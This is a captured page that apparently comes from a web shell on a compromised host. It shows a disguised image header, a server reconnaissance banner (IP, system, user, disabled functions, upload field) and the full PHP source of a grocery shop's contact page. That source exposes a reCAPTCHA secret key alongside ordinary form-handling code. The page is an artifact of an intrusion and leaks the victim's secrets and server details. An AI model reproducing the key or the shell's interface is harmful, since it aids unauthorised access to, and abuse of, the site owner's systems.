���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u939086737/domains/jeevikagaumaa.in/public_html/ |
Upload File : |
<?php session_start(); include './action/config.php'; ?> <?php // Include database connection include('db_connection.php'); if (isset($_POST['contact_page_msg'])) { $secretKey = '6Ld-rg8pAAAAAJjfooJ637Hyc43ruUi-WuDOUhcm'; $responseKey = $_POST['g-recaptcha-response']; $userIP = $_SERVER['REMOTE_ADDR']; // Send the request to Google's reCAPTCHA API $verifyURL = 'https://www.google.com/recaptcha/api/siteverify'; $response = file_get_contents($verifyURL . '?secret=' . $secretKey . '&response=' . $responseKey . '&remoteip=' . $userIP); $responseData = json_decode($response); // Check if the reCAPTCHA was successful if ($responseData->success) { // Sanitize and validate input data $name = htmlspecialchars(trim($_POST['name'])); $email = filter_var(trim($_POST['email']), FILTER_VALIDATE_EMAIL); $phone = htmlspecialchars(trim($_POST['phone'])); $message = htmlspecialchars(trim($_POST['msg'])); // Checkbox data $subject = []; if (isset($_POST['delivery'])) { $subject[] = "Delivery Problem"; } if (isset($_POST['service'])) { $subject[] = "Customer Service"; } if (isset($_POST['others'])) { $subject[] = "Others Service"; } $subject_text = implode(", ", $subject); // Validate email if (!$email) { echo '<script>alert("Invalid email address!");</script>'; exit; } // Insert data into the database $stmt = $con->prepare("INSERT INTO feedback (name, email, phone, subject, mes, date) VALUES (?, ?, ?, ?, ?, NOW())"); $stmt->bind_param("sssss", $name, $email, $phone, $subject_text, $message); if ($stmt->execute()) { echo '<script>alert("Message sent successfully!"); window.location.href="";</script>'; } else { echo '<script>alert("Failed to save feedback!"); window.location.href="";</script>'; } } else { // echo "reCAPTCHA verification failed. Please try again."; echo '<script>alert("reCAPTCHA verification failed. Please try again"); window.location.href="";</script>'; } $stmt->close(); $con->close(); } ?> <!DOCTYPE html> <html lang="en" data-bs-theme="light"> <head> <!--required meta tags--> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content="Grostore Grocery eCommerce html template. Multivendor responsive eCommerce template"> <meta name="author" content="ThemeTags"> <meta name="keywords" content="Grostore Grocery ecommerce, admin template, online shop, e-commerce, ecommerce template, marketplace, modern, responsive, business, mobile, bootstrap, html5, css3, js, gallery, slider, touch, creative, clean"> <link rel="icon" href="assets/img/favicon.png" type="image/png" sizes="16x16"> <title><?= $shop['name'] ?></title> <link rel="stylesheet" href="assets/css/main.css"> <script src="https://www.google.com/recaptcha/api.js" async defer></script> </head> <body> <!--main content wrapper start--> <div class="main-wrapper"> <?php include './header.php'; ?> <!--contact us section start--> <section class="contact-us-section position-relative overflow-hidden z-1 pt-80 pb-120"> <img src="assets/img/shapes/frame-circle.svg" alt="frame circle" class="position-absolute frame z--1 d-none d-sm-block"> <img src="assets/img/shapes/roll-2.png" alt="roll" class="position-absolute roll-2 z--1"> <img src="assets/img/shapes/pata-xs.svg" alt="pata" class="position-absolute pata z--1"> <img src="assets/img/shapes/garlic-white.png" alt="garlic" class="position-absolute garlic z--1"> <img src="assets/img/shapes/roll-1.png" alt="roll" class="position-absolute roll-1 z--1"> <img src="assets/img/shapes/leaf.svg" alt="leaf" class="position-absolute leaf z--1"> <div class="container"> <div class="row justify-content-center"> <div class="col-xl-12"> <div class="breadcrumb-content"> <h2 class="mb-2 text-center">Get In Touch</h2> <nav> <ol class="breadcrumb justify-content-center"> <li class="breadcrumb-item fw-bold" aria-current="page"><a href="./">Home</a></li> <li class="breadcrumb-item fw-bold" aria-current="page">Contact</li> </ol> </nav> </div> </div> </div> <div class="contact-box rounded-2 bg-white overflow-hidden mt-8"> <div class="row g-4"> <div class="col-xl-5"> <div class="contact-left-box position-relative overflow-hidden z-1 bg-primary p-6 d-flex flex-column h-100" data-background="assets/img/shapes/circle-half-fill.png"> <img src="assets/img/shapes/texture-overlay.png" alt="texture" class="position-absolute w-100 h-100 start-0 top-0 z--1"> <h3 class="text-white mb-3">Contact Details</h3> <p class="fs-sm text-white"><strong>Office Address :</strong> <?= $shop['address'] ?></p> <!-- <p class="fs-sm text-white mb-0"><strong>Office Address-2:</strong> #25 Jocker Goru Zhong Road<br> NYPD 200025 USA.</p> --> <span class="spacer my-5"></span> <ul class="contact-list"> <li class="d-flex align-items-center gap-3 flex-wrap"> <span class="icon d-inline-flex align-items-center justify-content-center rounded-circle flex-shrink-0"> <i class="fa-brands fa-whatsapp"></i> </span> <div class="info"> <span class="fw-medium text-white fs-xs">Emergency Call</span> <h5 class="mb-0 mt-1 text-white"><?= $shop['phone'] ?></h5> </div> </li> <li class="d-flex align-items-center gap-3 flex-wrap mt-3"> <span class="icon d-inline-flex align-items-center justify-content-center rounded-circle flex-shrink-0"> <i class="fa-regular fa-envelope"></i> </span> <div class="info"> <span class="fw-medium text-white fs-xs">General Communication</span> <p class="mb-0 mt-1 text-white fw-medium"><?= $shop['email'] ?></p> </div> </li> </ul> <div class="mt-5"> <span class="fw-bold text-white mb-3 d-block">Social Share:</span> <div class="social-links d-flex align-items-center gap-2"> <a href="javascript:void"><i class="fab fa-facebook-f"></i></a> <a href="javascript:void"><i class="fab fa-twitter"></i></a> <a href="javascript:void"><i class="fab fa-instagram"></i></a> <a href="javascript:void"><i class="fab fa-youtube"></i></a> </div> </div> </div> </div> <div class="col-xl-7"> <form class="contact-form ps-5 ps-xl-4 py-6 pe-6" method="post"> <h3 class="mb-6">Need Help? Send Message</h3> <div class="row g-4"> <div class="col-sm-12"> <div class="label-input-field"> <label>Name*</label> <input type="text" name="name" placeholder="Name" required> </div> </div> <div class="col-sm-6"> <div class="label-input-field"> <label>Email*</label> <input type="email" name="email" placeholder="You Email" required> </div> </div> <div class="col-sm-6"> <div class="label-input-field"> <label>Phone*</label> <input type="tel" name="phone" placeholder="Your Phone" required> </div> </div> <div class="col-12"> <div class="checkbox-fields d-flex align-items-center gap-3 flex-wrap my-2"> <div class="single-field d-inline-flex align-items-center gap-2"> <div class="theme-checkbox"> <input type="checkbox" name="delivery" id="delivery"> <span class="checkbox-field"><i class="fas fa-check"></i></span> </div> <label for="delivery" class="text-dark fw-semibold">Delivery Problem</label> </div> <div class="single-field d-inline-flex align-items-center gap-2"> <div class="theme-checkbox"> <input type="checkbox" name="service" id="service"> <span class="checkbox-field"><i class="fas fa-check"></i></span> </div> <label for="service" class="text-dark fw-semibold">Customer Service</label> </div> <div class="single-field d-inline-flex align-items-center gap-2"> <div class="theme-checkbox"> <input type="checkbox" name="others" id="others"> <span class="checkbox-field"><i class="fas fa-check"></i></span> </div> <label for="others" class="text-dark fw-semibold">Others Service</label> </div> </div> </div> <div class="col-12"> <div class="label-input-field"> <label>Messages*</label> <textarea placeholder="Write your message" name="msg" rows="6" required></textarea> </div> </div> <div class="g-recaptcha" data-sitekey="6Ld-rg8pAAAAAKzJJGweNKLrSMOX1ZWERxJFQi6R"></div><br> </div> <button type="submit" name="contact_page_msg" class="btn btn-primary btn-md rounded-1 mt-6">Send Message</button> </form> </div> </div> </div> </div> </section> <!--contact us section end--> <?php include './footer.php'; ?> </body> </html>